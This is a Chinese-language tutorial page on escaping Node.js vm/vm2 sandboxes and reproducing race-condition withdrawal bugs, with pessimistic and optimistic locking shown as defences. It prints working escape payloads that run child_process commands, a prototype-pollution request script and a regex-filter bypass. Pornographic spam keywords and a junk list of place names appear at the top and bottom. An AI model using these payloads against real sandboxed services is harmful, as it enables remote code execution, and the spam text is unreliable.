最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

JS沙箱繞過以及競爭條件型漏洞復現(xiàn)

 更新時間:2023年08月04日 09:24:30   作者:Catherines7  
沙箱繞過"是指攻擊者利用各種方法和技術來規(guī)避或繞過應用程序或系統(tǒng)中的沙箱,本文主要介紹了JS沙箱繞過以及競爭條件型漏洞復現(xiàn),具有一定的參考價值,感興趣的可以了解一下

一、沙箱繞過

1.概念

沙箱繞過"是指攻擊者利用各種方法和技術來規(guī)避或繞過應用程序或系統(tǒng)中的沙箱(sandbox)。沙箱是一種安全機制,用于隔離和限制應用程序的執(zhí)行環(huán)境,從而防止惡意代碼對系統(tǒng)造成損害。它常被用于隔離不受信任的代碼,以防止其訪問敏感數據或對系統(tǒng)進行未授權的操作。

當攻擊者成功繞過沙箱時,他們可以在受影響的系統(tǒng)上執(zhí)行惡意代碼,并且有可能獲取敏感信息、傳播惡意軟件、執(zhí)行拒絕服務攻擊或利用系統(tǒng)漏洞等。

2.例題分析

2.1vm模塊例題1(利用上下文對象或this指向)

先說一下最簡單的vm模塊,vm模塊是Node.JS內置的一個模塊。理論上不能叫沙箱,他只是Node.JS提供給使用者的一個隔離環(huán)境。

示例

const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

其實逃逸出沙箱就一種方法,就是拿到沙箱外部的變量或對象,然后用.toString方法和.constructor 屬性來獲取Function這個屬性,然后拿到process,之后就可以執(zhí)行任意代碼了

這道例題可以直接拿this,因為這里沒有方法使用了this,此時this指向global,構造如下payload

const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()

this.toString.constructor就是Function這個方法,然后利用Function返回process對象

然后調用子模塊執(zhí)行命令,成功繞過沙箱

這里可能會有疑問,為什么不用m、n來獲取Function呢,m、n變量都是在外部定義的啊

這個原因就是因為primitive types,數字、字符串、布爾等這些都是primitive types,他們的傳遞其實傳遞的是值而不是引用,所以在沙盒內雖然你也是使用的m,但是這個m和外部那個m已經不是一個m了,所以也是無法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},這樣m、n、x就都可以利用了。

最終用nodejs執(zhí)行下面的代碼

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

成功執(zhí)行

2.2vm模塊例題2(利用toString屬性)

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); 
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

 這道例題的this指向就變?yōu)閚ull了,無法獲取Function屬性,上下文中也沒有其他對象

此時我們可以借助arguments對象。arguments是在函數執(zhí)行的時候存在的一個變量,我們可以通過arguments.callee.caller獲得調用這個函數的調用者。

arguments.callee是遞歸調用自身,.caller是一個指向調用當前函數的函數的引用。它提供了一種查找調用棧的方式,可以追溯到調用當前函數的函數。所以我們可以使用此方法來獲取Function。

那么如果我們在沙盒中定義一個函數并返回,在沙盒外這個函數被調用,那么此時的arguments.callee.caller就是沙盒外的這個調用者,我們再通過這個調用者拿到它的constructor等屬性,就可以繞過沙箱了。

構造如下payload

(() => {  
const a = {}  
a.toString = function () {    
const cc = arguments.callee.caller;    
const p = (cc.constructor.constructor('return process'))();   
return p.mainModule.require('child_process').execSync('whoami').toString()  
}  
return a })()

 這道題的巧妙之處就在于最后的console.log('Hello ' + res),此時res不是字符串,而當一個字符串與另一個非字符串結合時,會把res轉為字符串,相當于res.toString,此時就調用了我們payload里面的函數,執(zhí)行了命令

如果沒有最后的console.log('Hello ' + res)這一句代碼呢,我們還可以使用Proxy來劫持所有屬性,只要沙箱外獲取了屬性,我們仍然可以用來執(zhí)行惡意代碼,這里就不演示了

2.3vm2模塊例題1(觸發(fā)調用棧溢出異常)

但前兩個例題主要說的是vm模塊,vm本不是一個嚴格沙箱,只是隔離環(huán)境而已。而vm2是一個正經沙箱,難度相較于vm大得多

這道例題是用觸發(fā)外部異常的方式來繞過的,但是vm2版本必須是在3.6.10之前

這個方法有趣的地方就在于,他是想辦法在沙箱外的代碼中觸發(fā)一個異常,并在沙箱內捕捉,這樣就可以獲得一個外部變量e,再利用這個變量e的constructor執(zhí)行代碼。

而觸發(fā)異常的方法就是“爆調用棧”,JavaScript在遞歸超過一定次數時就會拋出異常。

但我們需要保證的是:拋出異常的這個函數是在host作用域中(即沙箱外)。在js執(zhí)行到1001次時,調用棧溢出,此時就會報錯

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
		length: 10,
		utf8Write(){
		}
}
function r(i){
	var x = 0;
	try{
		x = r(i);
	}catch(e){}
	if(typeof(x)!=='number')
		return x;
	if(x!==i)
		return x+1;
	try{
		f.call(ft);
	}catch(e){
		return e;
	}
	return null;
}
var i=1;
while(1){
	try{
		i=r(i).constructor.constructor("return process")();
		break;
	}catch(x){
		i++;
	}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

但是好像v8引擎遞歸的默認限制是10000次,等了10多分鐘也沒有反應

因此沒有去復現(xiàn)這個例題 

2.4vm2模塊例題(原型鏈污染+import動態(tài)導入)

const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
    try {
        console.log(new VM().run({}.shellcode));
    } catch (e) {
        console.log(e);
    }
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})
app.listen(3000, function () {
    console.log('start listening on port 3000');
});

之前講過原型鏈污染,在這里就不贅述了

首先通過代碼審計發(fā)現(xiàn)merge、clone方法,那么大概率存在原型鏈污染,再看if條件,需要copybody有shit屬性,且為真才能進入backdoor()方法,再看backdoor()方法

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

分析new VM().run({}.shellcode),需要{}有shellcode屬性,我們可以污染原型鏈來使空對象有shellcode屬性,然后還需要逃逸出沙箱,這里沒有上下文對象,我們可以使用動態(tài)導入元素的方法來繞過沙箱,構造以下payload

{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')
res.toString.constructor(\"return this\")
().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}

 用Python發(fā)送post請求

import requests
import json
url="http://192.168.239.138:3000/"
headers={"Content-type":"application/json"}
data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
req=requests.post(url=url,headers=headers,data=json.dumps(data))
print(req.text)

 最后成功復現(xiàn)(之前報錯是因為沒有寫打印語句)

2.5vm2模塊例題(正則繞過)

這道例題由于代碼不全,無法復現(xiàn),但是可以分析

const { VM } = require('vm2');
function safeEval(calc) {
  if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return new VM().run(calc);
}

首先if判斷,如果輸入的calc參數沒有匹配上這個正則,那if條件就會判為真,返回null,如果匹配上了這個正則,那就會被替換為空,if條件就會判為假,最終return new VM().run(calc),所以我們需要匹配上這個正則才行

這個正則可以分三部分

  • 第一部分是必須有Math這個關鍵字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
  • 第二部分是匹配了+、-*、/、&、|、^、%<、>=、,?、:這些符號
  • 第三部分是匹配了整數或者浮點數,比如3.14,也可以使用科學計數法,比如3.9e3

這個正則可以說過濾得比較嚴格,但是我們也可以繞過

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()

分析這個代碼,首先正則肯定可以匹配上這段代碼

 接下來我們再分析為什么會這樣寫

它創(chuàng)建了一個方法,形參Math,方法的內容是先將Math.constructor賦值給Math,然后調用Math.constructor方法,內容是Math.fromCharCode({gen(c)}),我們可以先不看gen(c),那么這個.fromCharCode方法有什么用呢?

這個方法可以將字符的ascii碼轉換為字符,這樣我們就可以繞過它的正則

最后傳參Math+1,這也可以被正則匹配上,那為什么要傳這個參數呢

因為Math+1返回的是一個字符串,而字符串的constructor屬性是toString方法,而toString方法的構造函數就是Function,最后的()立即執(zhí)行。

然后便可以找到vm2對應版本的payload,和正則繞過結合,便可以成功實現(xiàn)繞過

二、競爭型漏洞

1.概念

競爭條件型漏洞(Race Condition Vulnerability)是一種安全漏洞,它發(fā)生在多個進程或線程競爭訪問共享資源時的情況下。這種漏洞出現(xiàn)的根本原因是并發(fā)操作的不正確管理,導致了不可預料的結果。

簡單來說,競爭條件型漏洞可能在以下情況下出現(xiàn):

  • 多個進程或線程在訪問共享資源(如文件、內存、數據庫等)時沒有進行合適的同步控制。
  • 這些進程或線程之間的執(zhí)行順序無法預測,因此可能會導致數據的不一致或程序行為異常。

2.環(huán)境搭建

這里我們使用ubuntu和Python3來復現(xiàn)漏洞,項目代碼在文章上方,解壓后cd進入目錄

注意這里還需要其他依賴環(huán)境,以下是需要使用pip3安裝的包,官方源下載速度慢,可以更換國內源,我這里用的是阿里云的

root@localhost:~# vim /etc/pip.conf
[global]
index-url = https://mirrors.aliyun.com/pypi/simple/
[install]
trusted-host=mirrors.aliyun.com

djangopytzpython-dotenvdj-database-urlpsycopg2-binarygunicorngeventdjango-bootstrap5waitress

一切準備就緒后,首先使用migrate生成數據庫表,其次創(chuàng)建超級用戶,這樣我們才能登錄后臺(后臺地址/admin),最后使用collectstatic命令生成前端代碼

python3 manage.py migrate
python3 manage.py createsuperuser
python3 manage.py collectstatic

然后進入templates目錄,vim form.html,修改form表單的enctype屬性為"multipart/form-data"

最后的最后使用下面的命令啟動服務,端口號和ip可以自己更改,如果出現(xiàn)報錯,大概率是因為端口被占用或者沒有cd切換到對應項目目錄下

gunicorn -w 2 -k gevent -b 0.0.0.0:8088 race_condition_playground.wsgi

啟動成功后就可以開始我們的實驗了

3.復現(xiàn)過程

3.1無鎖無事務的競爭攻擊

ucenter1是沒有任何防御的,無鎖無事務   vim /app/ucenter/view.py

這里的css渲染沒有成功,不知道什么原因,重試了很多次依然沒用,但是不影響我們的操作

首先進入后臺,點擊user

然后點擊超級用戶名

 然后在money這里添加你想要的錢數

然后save保存,之后訪問/ucenter/1,如果錢數正常就說明設置成功了

之后填入100,用bp抓包,抓包成功后復制粘貼到Yakit下,然后選擇并發(fā)配置,刪除不必要的字段

 然后點擊發(fā)送請求,這里我第一次失敗了,第二次再發(fā)送就成功了

這時我們到后臺去看看

 發(fā)現(xiàn)有兩次取款100記錄,然而我們的存款只有100,這樣就成功復現(xiàn)了

3.2無鎖有事務的競爭攻擊

ucenter2加上了事務

無鎖有事務也并不能防御競爭攻擊,事務只是能夠實現(xiàn)操作要么成功要么不成功,并不能鎖住我們的進程

我們重新添加錢數,抓包,和ucenter1操作一樣,這次我一次成功,結果很明顯,仍然存在競爭型漏洞

 我們來查看后臺

 兩次記錄,復現(xiàn)成功,仍然存在競爭型漏洞

3.3悲觀鎖加事務防御

ucenter3加上了悲觀鎖和事務,悲觀鎖的含義是悲觀地認為一定會有進程來更新數據,所以悲觀鎖會提前給進程加鎖

 在處理表單數據之前,也就是前端剛提交數據后,就使用select for update和主鍵pk鎖住了這個進程,那這個時候讀操作也受到了影響。

那么我們再發(fā)包就沒用了,那我們再次測試看看

只有一次302跳轉,也就是說只成功取款了一次,查看后臺,也只有一次記錄

但是這里有一個問題,如果有大量讀操作的場景下,使用悲觀鎖會有性能問題,因為每次訪問view,都會鎖住當前用戶對象,此時其他用戶場景,比如訪問主頁,也會因此卡住。

這樣我們就可以使用樂觀鎖

3.4樂觀鎖加事務防御

樂觀鎖的含義是樂觀地認為不會有其他進程來更新數據,而只是到了需要更新數據時,才會給進程加鎖

在前端提交表單數據后,樂觀鎖并沒有立即鎖住進程,而是在需要取款的時候使用update鎖住,這樣就不會出現(xiàn)讀操作也被禁止的問題了

我們來測試看看,并沒有出現(xiàn)競爭漏洞,只有一條302記錄

 查看后臺,仍然只有一條記錄

通過這個實驗,我們便知道樂觀鎖加事務是防御競爭條件漏洞的最優(yōu)解 

到此這篇關于JS沙箱繞過以及競爭條件型漏洞復現(xiàn)的文章就介紹到這了,更多相關JS沙箱繞過內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • JS打斷點的六種常用姿勢你用過幾種

    JS打斷點的六種常用姿勢你用過幾種

    JS斷點調試,即是在瀏覽器開發(fā)者工具中為JS代碼添加斷點,讓JS執(zhí)行到某一特定位置停住,方便開發(fā)者對該處代碼段的分析,這篇文章主要介紹了JS打斷點的六種常用姿勢的相關資料,需要的朋友可以參考下
    2025-04-04
  • 關于foreach循環(huán)中遇到的問題小結

    關于foreach循環(huán)中遇到的問題小結

    這篇文章主要介紹了關于foreach循環(huán)中遇到的問題總結,非常不錯,具有參考借鑒價值,需要的朋友可以參考下
    2017-05-05
  • TypeScript 中的 .d.ts 文件詳解(加強類型支持提升開發(fā)效率)

    TypeScript 中的 .d.ts 文件詳解(加強類型支持提升開發(fā)效率)

    .d.ts 文件在 TypeScript 開發(fā)中扮演著非常重要的角色,它們讓我們能夠享受到 TypeScript 強大的類型系統(tǒng)帶來的優(yōu)勢,提高代碼質量和開發(fā)效率,接下來,我們將深入探討如何為 JavaScript 庫和自定義模塊創(chuàng)建 .d.ts 文件,以及一些最佳實踐和注意事項,一起看看吧
    2023-09-09
  • javascript htmlencode函數(ff兼容版) 主要是編輯器中反轉html代碼

    javascript htmlencode函數(ff兼容版) 主要是編輯器中反轉html代碼

    非常不錯的htmlencode 方法,比用正則實現(xiàn)的更好,而且效率高,推薦使用第一種方法。
    2009-06-06
  • php常見的頁面跳轉方法匯總

    php常見的頁面跳轉方法匯總

    Web系統(tǒng)中,從一個網頁跳轉到另一個網頁,是LAMP項目中最常用的技術之一。頁面跳轉可能是由于用戶單擊鏈接、按鈕等引發(fā)的,也可能是系統(tǒng)自動產生的。 此處介紹PHP中常用的實現(xiàn)頁面自動跳轉的方法。
    2015-04-04
  • 詳解如何愉快的在微信小程序中使用SVG圖標

    詳解如何愉快的在微信小程序中使用SVG圖標

    這篇文章主要介紹了詳解如何愉快的在微信小程序中使用SVG圖標,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2021-03-03
  • 基于Javascript實現(xiàn)文件實時加載進度的方法

    基于Javascript實現(xiàn)文件實時加載進度的方法

    不知道大家有沒有發(fā)現(xiàn)在現(xiàn)在的移動頁面上,有很多情況需要加載大量的資源。但是移動端的訪問速度和pc還是有很大的差距,有些時候需要一些取巧的方式來提升用戶體驗,而實時顯示加載進度就是其中一種。這篇文章就給大家分享了Javascript實現(xiàn)文件實時加載進度的方法。
    2016-10-10
  • Bootstrap?table列上下移動效果

    Bootstrap?table列上下移動效果

    這篇文章主要為大家詳細介紹了Bootstrap?table列上下移動效果,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-02-02
  • JS中常見編碼及加密方式解析

    JS中常見編碼及加密方式解析

    這篇文章主要為大家介紹了JS中常見編碼及加密方式解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步早日升職加薪
    2022-04-04
  • js微信應用場景之微信音樂相冊案例分享

    js微信應用場景之微信音樂相冊案例分享

    這篇文章主要為大家分享了js微信應用場景之微信音樂相冊案例,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-08-08

最新評論

鄂伦春自治旗| 文化| 黑河市| 宁强县| 左贡县| 区。| 耒阳市| 新疆| 鲜城| 桓台县| 甘谷县| 信宜市| 庆云县| 左权县| 雷波县| 朝阳区| 淮南市| 郑州市| 台山市| 阿拉尔市| 从化市| 侯马市| 岳西县| 来安县| 鄂尔多斯市| 剑川县| 高雄县| 嘉鱼县| 瑞昌市| 边坝县| 库尔勒市| 永州市| 景洪市| 遂宁市| 始兴县| 松溪县| 天门市| 文成县| 喀喇| 安岳县| 福鼎市|